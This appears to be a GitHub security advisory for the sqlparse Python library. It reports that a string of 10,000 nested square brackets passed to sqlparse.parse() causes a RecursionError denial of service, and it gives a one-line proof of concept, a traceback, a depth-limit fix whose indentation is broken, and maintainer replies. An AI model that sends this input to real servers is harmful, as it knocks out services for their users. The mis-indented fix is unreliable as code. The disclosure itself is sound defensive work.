Parsing heavily nested list leads to Denial of Service

Summary

Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Details + PoC

Running the following code will raise Maximum recursion limit exceeded exception:

import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)

We expect a traceback of RecursionError:

Traceback (most recent call last):
  File "trigger_sqlparse_nested_list.py", line 3, in <module>
    sqlparse.parse('[' * 10000 + ']' * 10000)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
    return tuple(parsestream(sql, encoding))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
    stmt = grouping.group(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
    func(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
    _group_matching(tlist, sql.SquareBrackets)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
    tlist.group_tokens(cls, open_idx, close_idx)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
    grp = grp_cls(subtokens)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
    super().__init__(None, str(self))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  [Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded

Fix suggestion

The flatten() function of TokenList class should limit the recursion to a maximal depth:

from sqlparse.exceptions import SQLParseError

MAX_DEPTH = 100

    def flatten(self, depth=1):
        """Generator yielding ungrouped tokens.

        This method is recursively called for all child tokens.
        """
    if depth >= MAX_DEPTH:
        raise SQLParseError('Maximal depth reached')
        for token in self.tokens:
            if token.is_group:
                yield from token.flatten(depth + 1)
            else:
                yield token

Impact

Denial of Service (the impact depends on the use).
Anyone parsing a user input with sqlparse.parse() is affected.

andialbrecht · 2024-04-13T12:03:42Z

Hi, thanks for the feedback! sqlparse now catches the RecursionError and raises a SQLParseError instead. And thanks again for reporting! Andi Am Di., 19. März 2024 um 12:50 Uhr schrieb Uriya Yavnieli < ***@***.***>:

…

Hi, We agree that catching RecursionError or Exception will be enough to handle it. However, we saw some open source projects (such as apache superset <https://github.com/apache/superset>, home assistant <https://github.com/home-assistant> and galaxy project <https://github.com/galaxyproject/galaxy>), that implement a server and use sqlparse without handling this exception, which in their case might cause a denial of service. Probably the maintainers are unaware that this kind of exception might be raised, so maybe writing it in the documentation might be enough. — Reply to this email directly, view it on GitHub <https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-2m57-hf25-phgg#advisory-comment-98609>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AAAGIIAJHH3BVDOWINGR273YZARA3AVCNFSM6AAAAABCFKJF2GVHI2DSMVQWIX3LMV436UTFOBXXG2LUN5ZHSQLEOZUXG33SPFBW63LNMVXHIOZZHA3DAOI> . You are receiving this because you are either an administrator on andialbrecht/sqlparse, or a collaborator on GHSA-2m57-hf25-phgg.Message ID: <andialbrecht/sqlparse/repository-advisories/30388/comments/98609@ github.com>

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Parsing heavily nested list leads to Denial of Service

Package

Affected versions

Patched versions

Description

Summary

Details + PoC

Fix suggestion

Impact

andialbrecht commented Apr 13, 2024

Severity

CVSS overall score

CVSS v3 base metrics

CVSS v3 base metrics

CVE ID

Weaknesses

Credits